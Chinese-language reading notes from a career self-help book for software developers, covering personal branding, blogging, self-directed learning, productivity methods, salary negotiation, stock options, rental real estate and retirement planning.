你需要选择一个规模更小的目标市场，或者非常符合你的品牌的独特领域。

选择某个细分市场，然后以它为核心建立你的品牌，越有针对性越好。如果能充分聚焦，你就可以直接向受众传达信息，也能更轻松地建立品牌的认知度。

如果需要更换细分市场，也不要犹豫。

创建品牌的步骤：

明确要传达的品牌信息。
挑选细分市场。
创建品牌口号。
创建电梯内销售概要。
创建视觉符号（即标识）。

你也需要创建一个口号，言简意赅地描述自己的品牌。

电梯内销售概要是一段能够快速描述你是谁、能做什么的宣传文字，乘坐电梯的工夫就可以浏览完毕。

如果你在前期花了些时间创建了一个清晰、一致的品牌，并且这个品牌高度聚焦在某个细分领域、承载着经过深思熟虑的信息，你就会在竞争中遥遥领先。

第21章创建大获成功的博客

作为一名软件开发人员，可以用来推销自己的最佳媒介之一就是博客。我坚信每一个在乎自己职业生涯的软件开发人员都应该投资创建一个博客。

如果你是一名自由职业者，或者你有兴趣做兼职，你会发现，一个成功的博客可以给你带来很多客户，比你自己不得不外出找到的客户多得多。自己主动上门的客户，更愿意付你更高的薪酬，也更容易给你工作。

如果你博客的流量足够大，你可以把它作为推销自己产品的平台。如果有稳定的博客访问用户，那你不妨围绕他们的兴趣开发产品，将流量直接转化为客户。

不要忘记一个成功的博客为你带来的业界声望。

提高你的沟通技巧。

组织自己的思想，并将其转化为文字，是一项颇具难度却也极具价值的技能。定期写作能帮助你打磨此技能，有了很好的沟通能力会让你在生活的诸多领域受益。此外，如果你能约束自己定期更新博客，你也就在持续刷新自己的技能，保证自己处于自己所在专业领域的前沿。

免费服务的一个典型问题就是，你无法更灵活地掌控自己博客的主题和布局。

可以将自己的博客托管在虚拟专用服务器（VPS）上。

创建博客的步骤：

决定要使用哪种托管服务：免费的、付费的还是VPS。
设置或安装博客软件。
配置或者自定义所有主题。
开始写吧！

打造成功博客的最大秘诀有且仅有一个——持之以恒。我和许多成功的博主都谈论过，他们都有一个共同点——写了很多博客。我认识的一些最成功的博主每天都要写博客，而且已经坚持了许多年。

最重要的是，定好一个计划，然后坚持不懈。博客更新的频率将决定你的博客成功的速度。我强烈建议以每周至少一篇的速度更新博客。

如果你每天写一篇博客且坚持好几年，想不成功都难。

为什么要重视博客内容的品质？原因有两个。第一个也许也是最重要的一个原因是，博客内容的质量越高，越能吸引人持续浏览你的博客，或者通过RSS和电子邮件订阅阅读。在你给读者提供更多有价值的信息的同时，你也就成功积累了自己的目标客户。

重视博客内容品质的另一个重要原因是为你的博客提供更有价值的链接。大多数搜索引擎判断网页品质时都是基于有多少其他页面链接到这个页面上。网站内容的品质越高，就越有可能被社交媒体分享，并被从其他网站链接到该网站上。

你的博客不需要完美。在起步之初，你的博客很可能会很糟糕。但是，随着不断尝试贡献出优秀的内容，而不是将自己脑子里的东西随意丢到网页上，不考虑格式和结构还有一大堆拼写错误，你终会成功。

可是我真的不知道该写些什么：

最好方法是提前头脑风暴出各种不同的想法，随时更新可能的博客主题的清单，这样你总是保持一堆话题可供选择。
同时，不要太担心你的文笔如何，不要太在意别人的想法。有时候你只是要写一篇博客让自己的博客有内容，并不知道这篇博客会是自己点击量最高的文章。我写过不少自己觉得很差的文章，却成为最热门的文章。
要想弄清写什么，还有一个技巧，就是与别人就某个话题展开对话，甚至辩论。我经常发现自己写的最好的文章一般是先前曾与别人讨论过的。找一位朋友，就某个话题展开辩论，你会发现这个话题得写好几页。

提升访问量：

评论其他人的博客。找到撰写类似主题的博客的开发人员，在他们的博客写下有意义的评论，只要有机会就链接到自己的博客上。你的评论越有见地，人们越有兴趣查看你在自己博客上所说的。
在社交网络上分享你的博客文章，在你的电子邮件签名的底部以及所有的在线个人主页中添加你的博客链接。
如果你足够勇敢并且认为自己的文章足够优秀或者富有争议，可以把自己的文章提交（或者请别人提交）到Reddit（http://reddit.com ）或者Hacker News（http://news.ycombinator.com）这样的社交新闻网站。

第22章你的主要目标：为他人增加价值

当你营销自己的时候，如果你所做的一切都只是为了自己的利益而不给别人带来真正的价值，那么即使你所做的都正确无误，那也无济于事。

要想给人们想要的东西，要先知道他们想要什么。

想要弄明白他们的真实想法，你得全凭自己。

当你免费给人们提供实际价值时，回报更大。

免费内容比付费内容更容易被分享。

通过提供免费内容，你让人们有机会无需投入资金就能了解你生产的内容多么有价值。

通过为人们创造价值并且免费提供这种方式自我营销，你就赢得了为他人提供价值的声誉，也为自己的未来创造了机会。

能解决他人的问题，真正能够帮到他人，你更容易获得成功。

最富有创造力的人也是最乐于助人的人。

第23章善于运用社交媒体

要想用好社交媒体，首先你要给自己积累足够多的粉丝，或者至少是让人们进入你的社交网络。

对于大多数社交网络来说，最容易做到的就是关注他人，或者邀请他人加入你的网络。

可以把自己社交网络的个人主页的链接放在你的在线介绍、博客文章的结尾或者邮件的签名档中，通过这些方式获得关注。

要构建大型的社交网络肯定会需要一些时间，所以不要急于求成。

你的社交媒体应用策略应该主要聚焦于构建稳定的受众群体，并逐步提升活跃度。

如果你持续不断地在自己的社交媒体上给别人分享和提供有价值的内容，那你必定会赢得尊重和声誉。

你应该在社交网络上发布什么内容来为他人带来价值呢？答案很简单：你认为有用或有趣的。

每周我都会把自认为有用的信息整理为一份内容集锦，藉此吸引人们在社交网络上关注我。

通过社交媒体分享的内容：

博客文章：转帖一些博客文章，或者自己的博客
新闻报道：转载一些有趣的文章，尽量与你的细分领域有关，或者与软件开发相关
励志名言：名人名言，特别是鼓舞人心、非常流行的名言警句
技巧、小窍门：任何你所了解的特殊技巧或者知识，别人会很欣赏
幽默故事：发一点儿幽默故事挺不错的，但是一定要确保确实好笑，另外千万别冒犯别人
吸引人的问题：这是一个很棒的吸引你的听众并和他们互动的方法
自己的一些推广活动：别太多，并且跟其他内容混合在一起

正如你要把自己的产品/服务90%免费一样，你分享给自己的关注者的90%也应该是有价值的内容而非你的广告。

如果你不能持续不断地在你的社交媒体上保持足够的活跃度，你将会丢掉大量粉丝。

第24章演讲、报告和培训：做“说话的极客”

演讲和举办某种形式的培训是连接普罗大众和自我营销的最有效的方式之一。

演讲也是一种互动媒介，或者至少你能将其作为媒介使用。

如果你先前从来没有做过公开演讲，也没有建立起自己的名声，那你不可能去重要的大会上发表演说。

一开始最好是在自己的工作场合做讲座。

为代码训练营和用户组举办讲座。

我对在公众面前演讲怀有恐惧：公共演讲恐惧症是最常见的一种恐惧症。

做培训，不论是现场培训或录制培训，都是建立自己的声誉的另一种很棒的方式，甚至还能赚点钱。

第25章著书立说，吸引追随者

如果你想要在写作方面有所建树，就必须要与你的读者建立密切的联系。

如果你也想被看作业界值得信赖的人，你也应该写本书。

通过一本书可以获得一笔可观的收入是非常罕见的，而且通常作者只能获得收益的一小部分。

要想让自己有机会出书，最好的办法就是明确一个有市场需求的主题，同时也能够充分展示你作为该领域专家的学识。

应该提前做功课从而让自己在市场上立足。我建议你开设博客，给一些较小的杂志投稿。随着你在自己的专业领域树立起自己的声望，你可以积累更大的出版物。出版社和杂志社都愿意和拥有众多粉丝的作者合作，因为这意味着他们的名气就是发行量的保证。

你应当准备一份翔实的写作提纲（文章摘要），清晰地概括自己的写作目的，明确本书的目标读者，以及你为何认为这本书会成功，为何你是写作这本书的最佳人选。你的提纲写得越好，它被出版商接受的可能性就越大。

别担心自己不擅长写作。现在写作能力不行，这并不打紧。要紧的是，你现在就开始写并坚持下去，随着时间的推移你的写作技能终将会得到提高。

越来越多的作者发现可以通过自出版获得成功，尤其是自己已经拥有粉丝群体的作者。

第26章百折不挠，越挫越勇

如果想通过自己的努力获得成功，你就必须学会不在乎别人怎么想。你必须学会如何无惧自己被别人看作傻瓜。

在第一次做某件让自己不自在的事情的时候，你可能无法想象终有一天自己竟然觉得做起这些事儿来如此怡然自得。

你不可能专注做某件事而毫无长进，你只要坚持足够长的时间就会有收获。你的生存之道就是不必太在意。别害怕被人看作傻瓜。

在互联网的世界里每个人都有权发表自己的观点，所以不要让这些打击到你。习惯些许辱骂是件好事，因为即使再完美的作品也会遭人抨击。你永远不可能取悦每一个人。

第三篇：学习

第27章学习怎样学习：如何自我教育

如果你一直依赖他人来教你，从来没有掌握自我教育技能，这会严重限制你提升自己的知识和技能的机会。

如果我告诉你该怎么做，你可能会忘掉，但如果你自己动手做一次，你可能就记住了。如果你能将自己所学的东西教给别人，你不仅能记住，还能理解得更深刻。尽管每个人的学习风格千差万别，但是通过动手实践和教会他人，我们能学得更好。

当我们能够在一件事情上尽情发挥的时候，我们的内心就更倾向于吸收更多的信息，思考更有意义的问题。

第28章我的“十步学习法”

掌握一门技术：

如何开始——要想开始使用自己所学的，我需要掌握哪些基本知识？
学科范围——我现在学的东西有多宏大？我应该怎么做？在开始阶段，我不需要了解每个细节，但是如果我能对该学科的轮廓有大致的了解，那么将来我就能发现更多细节。
基础知识——不止在开始阶段，要想使用一项特定的技术，我需要了解基本的用户案例和最常见的问题，也需要知道自己学的哪20%就能满足80%的日常应用。

“十步学习法”的基本思想就是：

要对自己要学的内容有个基本的了解——了解自己不知道什么就足矣。
然后，利用这些信息勾勒出学习的范围，即需要学哪些内容，以及学成之后又会获得什么。依靠这些知识，你可以找出各种资源（不局限于书）来帮助自己学习。
最后，你可以创建自己的学习计划，列出要去学习哪些相关课程，筛选学习材料，只保留能帮助自己达成目标的优质内容。

第29章第 1 步到第 6 步：这些步骤只做一次

了解全局：
- 在深入探究某个主题之前至少要对其有所了解，这一点非常重要。
确定范围：
- 需要决定学习的重点和学习的范围。
- 在学习过程中，大家很容易犯的一个错误就是试图解决太大的问题而把自己搞得不堪重负。
- 需要运用自己在上一步中获得的信息，让自己的关注点落脚到更小也更可控的范围。
- 阐述学习的理由能够帮你明确学习范围
- 你一次只能学一样东西。
- 明确学习范围的时候要考虑时间因素。
定义目标
- 好的成功标准应该是具体的、无二义性的。
- 要列出某一特定的结果，或者一旦实现自己所能达到的目标你应该能够做到的事情。
寻找资源
- 尽可能多的与自己所选主题相关的资源。
创建学习计划
- 在这一步，你需要创建自己的学习路径。
- 观察别人是如何教你感兴趣的主题的。
筛选资源
- 对这些资源进行筛选，挑选最有价值的几项来帮你实现自己的目标。

信息来源：

图书
博客文章
在线视频
专家，或者对你所想要学习的内容已经熟知的人
播客
源代码
示例项目
在线文档

第30章第7步到第10步：循环往复

开始学习，浅尝辄止
- 在这一步中，你的目标是获得足够多的与所学主题相关的信息，从而能让你开始学习，并在下一步中动手操作。
- 你要专注于掌握自己所需的、能在下一步动手操作的最小量的知识。
动手操作，边玩边学
- 在操作的过程中，你的大脑自然地产生各种问题
- 当回过头寻找问题的答案的时，不只是这些问题迎刃而解，而且你记得的东西比你学习的东西要多得多，因为你所学到的都是对你很重要的东西。
全面掌握，学以致用
- 这一步的目标就是让你找回好奇心驱动的学习。
- 没有必要把收集到的所有资料全部仔细看一遍。你只需要阅读或观看与当前所学相关的部分。我们很少能有足够的时间把一本书从头读到尾。这些资料只是帮你自学，基本上你可以以解决在动手操作中发现的问题为主要目的。
乐为人师，融会贯通
- 要想确定你确实掌握了某些知识，这是唯一的办法；同时，在你将自己所学介绍给他人时，这也是查缺补漏的好办法。在这一过程中，你要切实剖析并理解自己所学的知识，将其内化到自己的思想；同时，你也要用能够让他人理解的方式精心组织这些信息。
你要花时间将自己学到的东西从大脑中提取出来，以别人能够理解的方式组织起来。在经历了整个这个过程之后你会发现，有很多你以为自己明白了的知识点，其实并没有摸透。于是你会将那些以前自己没太明白的东西联系起来，并且简化自己大脑中已有的信息，将它们浓缩并经常复习。

教授知识的途径:

撰写博客文章
创建YouTube视频教程
发表演讲
与朋友或爱人进行对话探讨
在在线论坛上回答问题

如果此方法中有些步骤对你不起作用，或者你觉得某些形式完全没有必要，完全可以弃之不理。这些步骤本身并不重要，这一学习过程背后的理念才是真正重要的。重点就是你要开发出一套适合自己的自学体系，一套你可以持续不断地加以运用而获得丰硕成果的方法体系。

第31章寻找导师：找到你的尤达

优秀的导师可以帮助你迅速地掌握一门技术，比你自己摸索要快很多。

在寻找一位导师的时候，你必须要抛开自己的判断和推理，只去关注导师的成就。

最好的选择就是去自己认识的人中找，自己的朋友的朋友、家人的朋友等。

招募导师最佳途径就是交换互助。

第32章开山收徒：成为尤达一样的大师

无论你生活在哪里，也无论你从事何种职业，你总有机会在某个方面领先别人一步，所以你一定可以帮到某个人。

花点儿时间思考一下你会比谁领先一步。想一想自己认识的开发人员有谁正在努力学习你已经知道的东西。

做导师的好处:

帮助他人时的成就感。
深入学习和领悟知识的途径。
你的徒弟有朝一日会帮到你。
自身的成长。帮助别人成长的过程也就是自己成长的过程。

要找真正有意愿去学习，并愿意为此付出努力的人做自己的门徒。

第33章传道授业：若要学知识，必得为人师

教学的真谛则是与他人分享知识。

在你的知识集合里面，总有一部分知识你并没有理解透彻到可以向别人解释，而“教”的过程能够迫使你面对这一部分。

在你试图教别人的时候，你强迫自己重新组织大脑中的资料。

最好的教学方式就是以谦虚的视角来观察问题，以权威的口吻去诠释问题。

你教的目的是为了帮助别人，而不是为了证明自己的优越性或者寻求认可。

第34章你需要一个学位吗，还是可以对此忽略不计

拥有学位并不是成功所必需的，但它肯定是一个限制性因素，它限制了可以提供给你的职位数量，并且某种程度上也限制了你的晋升，特别是在大公司中。

没有学位可能会让你的简历被过滤掉，连被人看到的机会都没有。

学位的好处：接受有关软件开发方面的全面的系统教育、无需经验就可以入行、有更多选择，更容易转到行政或管理岗位
学位的缺点：花费原本可以赚钱的时间去学习、可能会受困于思维定势，难以打破

如果没有学历，你就不得不更多地依靠经验来证明自己的能力。

不管你是拥有学位还是拥有经验，我都建议你将自己的工作成果总结为作品集。

如果你既没有工作经验也没有学位的话，你最好能够展示一些自己写的代码。

你也可以把自己创建的网站或者应用程序整理出来，带着这些源代码去面试。

你可以通过业余时间上课的方式，在工作的同时获得学位。

专业认证虽然不如学位那么有用，但是它们没学位那么贵，也能证明你在某领域的专业能力

第35章发现自己的知识短板

如果遇到不理解的知识，不需要马上就学会，但是一定要把它添加到清单中，这样你至少可以找出自己的知识短板。

知识短板高发区：

在哪些工作上花费时间最多？
可以改进的重复性劳动
自己没有完全理解的东西
你回答不出来的面试题

第四篇：生产力

第36章一切始于专注

我们的思维模式是这样的：花一些时间先把所有的事务在脑子里过一遍，然后才能达到思维高峰以完成任务。

在开始一项任务之前，确保你已经做好一切可以让自己免受干扰的措施，不管是内部干扰还是外部干扰。

你的目标是熬过前5～10分钟。如果能撑过10分钟，你就有足够的冲量继续。

第37章我的私房“生产力提升计划”

我的生产力提升计划的基本思路就是，我把一周的时间分配给一个一个用时不超过两小时的小任务。我使用看板来安排自己的一周活动。

我把我的一年分成4个季度，每个季度3个月。在做季度计划时，我会尽力列出我想在本季度完成的每一个大项目，我还会制订一些较小的目标。

每个月的第一天我会打印出当月的月历，并且规划出每天要完成的工作。

我要确保自己在开始工作之前就确切地知道自己在做什么，这项任务完成的标准又是什么。这样做可以避免因为任务定义不清晰而导致的拖延和时间浪费。

无工作周：基本上在这几周里，我不会使用番茄钟，也不会把整周都排满。在无工作周里，我只做一些我喜欢的工作。这些周通常毫无成效，我迫不及待地想回到正常的运转轨道上去（紧张工作），但是这种清闲让我可以在单调的忙碌中休息一下，也会帮我牢记按照自己设定的轨道运转对富有成效地工作是多么重要。

每隔几个月，我就会安排一次两周或者一个月的休假。在长假期间，我要么会把博客和播客这类任务挂起，要么只做最小量的工作，来维持自己每周的承诺。我发现，在长时间努力工作之后，这种休息是必需的。

第38章番茄工作法

番茄工作法的基本思路是：你规划出打算一天之内完成的工作，然后设置一个时长25分钟的定时器，去完成计划中的第一项任务；在这25分钟之内，你只专注于这一项任务，心无旁骛。一旦有干扰，可以用各种方法屏蔽掉干扰，但是通常你要努力保证自己完全不被打扰。总之，你不希望自己的专注的工作状态被打断。

在25分钟结束的时候，设置一个5分钟的定时器，休息一下。这就是所谓的一个“番茄钟”。每4个番茄钟后，你都需要休息一会儿，通常为15分钟。

正确使用番茄工作法教会我“设置优先级”的真正价值。

因为“时间盒”效应，番茄工作法还可以在心理上对你产生巨大影响。

我总为自己没有做更多的事情而感到内疚。这个问题的根源在于，你无法准确地评估每天到底自己完成了多少任务，也没有为自己每天到底要完成多少任务设定明确的目标。

当你在一天中为自己设置了x个番茄钟的工作目标（这一目标你完全可控）并且达成的时候，你就可以知道自己一天到底可以完成多少工作，这会让自己感觉良好，更重要的是，还能让自己放松身心。

如果你饱受打断之苦，不妨告诉你的老板和同事自己在做什么，以及它将如何提高你的工作效率。

每人每天能够专注地、富有成效地工作的时间是有上限的。你的时间只有这么多，要怎么利用你自己说了算。

第39章我的“定额工作法”：我是如何做到超额完成工作的

定额工作法的规则：

挑选一项重复性任务。
明确有效时限，在此期间该任务被重复执行。
明确在给定的有效时限内该任务应该完成的次数的定额。
给自己承诺：一定要达成定额。
调整。调高或者调低定额，但是不能在有效时间段之内调整。

以缓慢但稳定的节奏工作，要优于快速但缺乏持久和坚持的工作方式。

第40章对自己负责

培养出在没有人监督自己的时候也能高效工作的自我责任感非常重要。

请别人来监督自己履行责任，完成自己的承诺，并没有坏处。

第41章要不要多任务并行

有的任务适合多任务并行，有的则不适合。

多任务并行的时候，很容易打破专注力，最后你不得不花时间回到之前的任务。

如果你每天都因为有多个任务要完成就深陷多任务并行的泥潭，最好学会如何批量处理这些任务，一次性完成一系列互相关联的任务，而不是将它们拆分完成。

适合批量处理的领域：

处理电子邮件。
打电话。
修复bug。
开短会。

我建议将一些对注意力要求不太高的任务与体育运动相结合。

第42章职业倦怠：我已找到解药

无论你是接手一个新项目还是学习一项新技能，你最终都会到达这种状态：你兴趣索然，积极性低，进展异常缓慢，或者看起来毫无进展。

如果能穿越到墙的另一侧，你会发现突然间一切都变得轻而易举，你的动机和兴趣再次回归。

经历痛苦就是克服倦怠的秘诀。

第43章时间是怎样被浪费掉的

看电视的最大问题就是，花在收看电视上的时间并没有获得任何实际收益。

时间杀手：

看电视。
社交媒体。
新闻网站。
不必要的会议。
烹饪。
玩电子游戏（尤其是网络游戏）。
工间喝咖啡休息。

烹饪、工间喝咖啡休息或者其他你喜欢做的事情是在浪费时间吗？为了享受快乐有意识地做这些事情，就不是浪费时间，只要你是因为喜欢才特意做这些事情，而不是为了逃避自己应该完成的实际工作。

我的目的不是让你抛弃生活中的喜好，只是确保你没有把时间浪费在一些没必要做或者不那么喜欢做的事情上，或者吞噬掉你所有业余时间的事情上。

第44章形成惯例的重要性

惯例塑造你的生活，让你变得更有生产效率，惯例是让你实现目标最强大的方式之一。

一个好的惯例始于一个大的目标。

大目标将构成惯例的基础。你要围绕这一目标安排自己的日程。

如果你为自己工作或者是在家办公，一定要制订一份日程，明确规定自己每天都做什么，包括什么时候开始工作，什么时候停止工作。这么做缺乏灵活性，但却能提高生产力，也能让你知道自己在朝着目标前进。

刚开始工作的时候你就要决定好自己打算做什么。

你还应该安排自己的食谱，甚至围绕着每天吃什么来形成惯例。

每天的生活越有条理，就越能把控自己的生活。

你应该有自己遵循的惯例，但是也要有一定的灵活性。

第45章培养习惯：刷新你的代码

培养和养成良好的习惯可以让你不需要刻意努力就保持很高的生产效率。

惯例是我们可以控制的，而习惯却不受我们控制。

习惯主要由三个要素构成：暗示，惯例和奖励。暗示是导致习惯被触发的某样东西。惯例就是你做的事情，也就是习惯的本质。奖励就是让习惯真正保持下去的“锚”。

找出坏习惯，再围绕这些坏习惯创造出好习惯是最简单的方法。

试着从小事做起。选一个你找出来的坏习惯，不要试图马上就改变它。相反，尽量找出这个习惯被什么触发，你这么做有什么表现，以及是什么奖励激励你产生冲动要这样做。

努力找出是否有别的惯例可以代替当前这个为了某个习惯正在执行的惯例。如果可能的话，尽量寻找那些会带来相似的奖励甚至相同类型的奖励的事情。

强迫自己坚持足够长的时间，以使新习惯取代旧习惯。

试想，你要完成的大目标是什么，看看你是否能养成某种习惯，推动你在奔向大目标的方向上前进。

一旦你选定了想要养成的习惯，想想有助于激励你养成这一习惯的奖励。

接下来，为你的新习惯找出暗示。

第46章分解任务：如何吃掉一头大象

通过将大任务分解为小任务，你会发现自己更有动力去完成它们，也更加稳妥地向着目标前进。

大型任务给人带来沉重的心理负担。

任务越大，越难明确定义。

大型任务往往也很难估算完成时间。

如果我被分配了一项大任务，我要做的第一件事情就是弄清楚我能否将它分解为一连串的小任务。

把大任务分解为小任务的时候，务必确保每个小任务都有一个明确的目标。

如果你想要写出一个难度很大的算法，在一头扎进去写代码之前，先把这个问题分解为能够依次独立解决的小模块会更有帮助。

第47章努力工作的价值，以及为什么你总是逃避努力工作

一切有价值的东西无一不是努力工作的结果。

事实就是，有些工作很辛苦，而有些工作则很轻松。

我们认为艰苦的工作最有可能是让我们获益良多的工作。

努力工作总是枯燥的。

第48章任何行动都比不采取行动好

拒绝采取行动，无数机会就会被浪费，无数可能性就会被挥霍。

无论你在逃避什么，无论是什么在困扰着你，都不要拒绝采取行动。

如果我们宁可选择无所作为，也不愿选择次优方案或者承担失败的风险，那么这些无关紧要的决定也会对我们的生活产生巨大的影响。

有时候，当你完全不确定要做什么的时候，最好的行动就是做一些事情，然后在前进途中再调整方向。

采取行动的检查表：

阻拦我采取行动的障碍是什么？
如果我需要做出选择，我的选择会是什么？我要从哪些选项中做出选择？
做出了错误的选择会导致的最坏结果是什么？
如果我选择失误，我可以退回去选择其他选项吗？这么做的代价高吗？
选择之间的区别是否很大？我能选择可以立即采取行动的次优方案吗？
我当前面临的问题有助于自我发现吗？如果开始我采取一些行动，在我发现正确的行动之前，还能进行调整吗？
如果我不采取行动，会发生什么？会有什么代价？是浪费时间，错过机会，还是损失金钱？

第五篇：理财

你在职业生涯中做出的许多关键决策很大程度上是以财务状况为基础的。

第49章怎样支配你的薪水

我们中大多数人在对待钱的问题上，都是只看眼前，而不是长远打算。

赚钱多并不能让一个人在财务上更精明。

你可以建立长远的理财思维，考虑物品的实际开销，而不是根据你每个月的收入多少来确定花销多少。

所谓资产，是指实用价值高于维护成本的东西。

一样东西如果有资格被定义为“资产”，必须能够带来比自身成本更高的价值。

所谓负债，是指成本高于带来的价值的东西。也就是说，要保有“负债”，你不得不往外掏钱，但是你永远也拿不回来与自己掏出的钱一样多的钱。

当你拥有一套房子的时候，本质上你不过就是从自己手里租了一套房子而已。

如果你的房子的价钱高于你所需要的基本住所的费用，那么房子对你而言就是负债。对大多数人来说，房子都是一笔巨大的负债，因为他们无法从中获得额外的实用价值，房子给他们的价值不会比租房高。

如果你在购车上的开销不能给你带来比购买便宜车更高的价值，那么它就是负债。

资产：可获得股息的股票、可供出租的不动产、债券、音乐版权授权、软件版权授权、企业
负债：信用卡债务、房产（如果超过你的实际需要）、车（如果超过你的实际需要）、每月的服务费、所有随着时间推移会贬值的设备

任何能把钱装在你口袋里的东西才是资产，而任何需要你把钱从口袋里掏出来的东西都是负债。

某些东西你买来后能够给你带来产出，或者产生的价值会高于你最初的投资，而别的东西则会消耗你的收入，或者不值你为它花的钱。

如果你用自己工作赚来的钱去购买不需要辛苦工作就能够增值的资产，那么你最终只需要做相同或更少的工作就能赚到更多的钱。

即使你工作一辈子，竭尽全力存钱，如果找不到理财的方法，你也永远不会变得富有，更遑论财务自由。

第50章怎样进行薪酬谈判

自我营销做得越好，声望越高，薪酬谈判就越容易。

需求最大的人在任何谈判中通常都会处于劣势。

先出价的人会处于明显的劣势。

如果你的要价太高，对方可能不会跟你还价，或者你会得到一个非常低的还价。

千万不要先出价。直接说“不”。

首先，在面试前或者填职位申请表之前，你可能会被问及你的期望薪酬。如果职位申请表上有这一字段，如果可以的话干脆空着不填，或者简单填写“根据整体薪酬方案面议”。如果必须得写个具体的数字，那就填成0美元，后续再解释为什么。

如果在预审面试时被直接问及期望薪酬是多少，那就给出相同的答复，就说这取决于贵公司的整体薪酬方案，包括福利。

应该试着尽可能绕过问题，问下面这样的一系列问题：“在给出一个确切的数额或者估算之前，我更愿意多了解一下贵公司，多了解一些我未来职位的工作内容。不过，听起来好像你是想弄清楚我们双方想的薪酬范围是否一样，这样我们就无需浪费我们的时间了。是这样吗？” 2. 很有可能你会得到一个肯定的答复。于是你可以接着问下面这样的问题：“对这个职位的薪酬，你们一定有一个预算范围，对吧？” 3. 同样，你应该也会得到一个肯定的答复。这时，如果你足够勇敢，可以在这里停顿，不再说别的。然后，你可能会听到他们关于薪酬范围的答复。但是，如果你不够勇敢，或者他们不愿意提供任何信息，你可以跟着问下面这个问题：“好吧，如果你告诉我预算范围，尽管我无法准确说出我的期望薪酬，但是我可以告诉你贵公司的薪酬预算是否符合我的心理预期。”

如果你不得不先出价，那就给出一个跨度很大的范围，并且以整体薪酬方案为条件，但要确保该范围的最小值略高于你心里价位的最低值。

被问及当前薪酬该怎么办：

“我宁愿不告诉您我目前的薪水，因为如果它高于您为这个职位设定的预算，我不希望就因为这个就丢掉了本次工作机会——因为我愿意为了合适的职位适当降低收入水平。但是，如果它低于这个工作将会支付的薪酬，我也不想自贬身价。我相信您一定能够理解。”
你也可以说“我不想回答这个问题”，或者回答“因为我与现在的雇主签有保密协议，不能与其他人讨论具体的薪资数目”。
如果非得说出一个数额，尽可能通过谈论可以影响到整体薪酬方案的奖金、福利等，让这个数额灵活多变，或者告诉他们整体薪酬方案为X美元，再加上你现在获得的各种福利。

如果offer上不包含薪酬数额，那你就不是真正得到了offer，因为它并不是一份offer。

如果他们给了你要求的薪酬，那么你要么接受，要么放弃。如果你再报一个比初始要求更高的数额，不仅让对方对你印象不佳，而且很可能会因此完全失去这份工作。

一旦有offer在手，你几乎总是会想还价。还价的数额由你决定，不过我强烈建议还价的数额要充分满足自己的胃口。你可能会认为提一个与他们报价接近的数目更有可能得到满意的反馈，但是一般情况下这种做法往往会适得其反。还是选择较高的价码作为还价吧。

只要offer没被撤销，你总是可以告诉他们你犯了个错误，在重新衡量了一切因素之后，你认为“贵公司最初报价还是合理的”。

大多数时候，如果提出高额还价的时候，你会得到一个稍高一点儿的报价。你可以接受这一报价，但是大多数情况下，我的建议是你再还一次价。

“我很乐意为贵公司工作。这份工作听起来相当不错，能与您的团队一起工作我也很激动。不过，我仍然对这个数额有一点点犹豫。如果您能提高到X美元，我可以今天就确定并签约。”

两次还价之后，我不建议再继续协商了。

一定要清楚自己值什么价钱。尽可能详细地研究一下自己求职的公司的薪酬范围，研究一下与你申请的职位类似的职位的薪酬范围。

你要说清楚自己为什么值这个价钱，你能给公司带来什么好处。你可以讲一下自己对之前的雇主们的贡献，以及为什么付给你你要求的薪水是一笔很好的投资。

告诉他们你已经有几个offer，现在正在深思熟虑，希望做个最好的决定。但是，要小心，语气不要太傲慢。自信是好事，傲慢就是坏事了。

第51章期权：所有乐趣之所在

期权就是选择做什么或者不做什么。期权背后的基本思想就是允许某人为在未来的某个日期买入或卖出股票的权利付费。

为什么要关注期权：

作为软件开发人员，你有能力比大多数人更好地理解期权。
了解期权是如何运作的也有助于提升你的财商。
在了解了期权之后，你会发现，期权充满乐趣。

允许在未来一段时间内以固定价格购买股票的期权被称为“看涨期权”，允许在未来一段时间内以固定价格出售股票的期权被称为“看跌期权”。

期权的杠杆作用会让你快速地赚很多钱，也可能更快速地亏掉更多钱。

沽出期权的时候，你就变成了必须以某个价格买入或者卖出股票的义务方。

沽出期权的风险比买入期权的风险更高。

大多数被沽出的期权都是所谓“备兑期权”。这就意味着，期权合约是由一些真实的股票或者其他期权作为支撑的，从而限制期权卖方的潜在损失。

备兑看涨期权就是你在购买一些股票的同时又卖出该股票的看涨期权。

如果你不指望自己购买的股票快速上涨，并且甘愿冒着错过股市上由担保收入所得大幅增长的风险，你就可以使用这一策略。你实际上是以自己的部分潜在收益来换取更低的风险。

配对看跌期权：在购买股票的时候，同时购买了该股票的看跌期权，这一策略会让你享受股票上涨带来了全部收益，如果股票下跌，也会帮你减轻潜在损失（因为你拥有以一定的保证价格出售该股票的选择权）。

铁鹰式套利：同时卖出股票或交易基金（ETF）的两侧期权，然后再以差距较大的价格买入期权。

第52章房地产投资面面观

房地产投资是低风险、高负债的投资类型。

以租养贷：意思是说所有费用，包括抵押贷款、税费和保险，都由它产生的租金收入来提供保障。

杠杆作用能让你在房价小幅升值的时候就获得高额回报，而且风险还不大。又因为贷款的抵押物是物业，所以从技术上讲你最大的损失不过是初始投资。

如果你购买的房产用于出租，并且每个月按固定贷款利率还款，那你从这一房产中的收入就会非常稳定；你可以利用银行的钱支付购买房产所需的大部分费用，从而让自己利用资本负债获得高额回报；如果遇上通货膨胀，你的房产投资可将资本负债作为对冲工具从中受益。

聪明的房地产投资（不是投机）始于认识到房地产投资是一项长期投资。

常用的投资策略，至少是我推荐的策略，就是：购买一处租赁房产。这套房产要么是正向的现金流，要么用30年期固定利率贷款以租养贷。这一策略风险极低，但是上升空间巨大；即使赶上房地产行情大热，价格火箭般飞涨，也能保证你30年后获得贷款全清的房产。

因为房地产市场的流动性不强，价格差距往往很悬殊。

要想掌握如何识别优质交易，你需要两样东西：实践和市场研究。

你要根据房价估算出抵押贷款的成本，以及包括税费、保险、业主会费、水电费、物业维修费等在内的其他开支。

你可能可以给某处房产开出低于市价50%报价——也许卖家正急于脱手或者不关心价格。

我总是请我能找到的最好、最细心的验房师验房。

如果验房没有任何问题，下一步就是申请获取贷款。

每个月我花的最值钱的钱就是请物业管理公司打理我的租赁房产。

第53章你真的了解自己的退休计划吗

规划退休计划的关键就是利用逆向思维，精确计算每个月的生活费用，找出办法来确保自己的收入能满足这一要求，同时还留有余地，以备不时之需。

当你拥有充裕的空闲时间的时候，当你再也不用储蓄、再也不用上下班的时候，有些开销会大幅减少。

如果从现在起，你能缩减每个月的开支，不但不会令你在以后的生活中感觉到生活水准降低了，而且还会让你提早退休。

为退休攒钱最有效的方法就是搞清楚如何缩减每个月的开支。

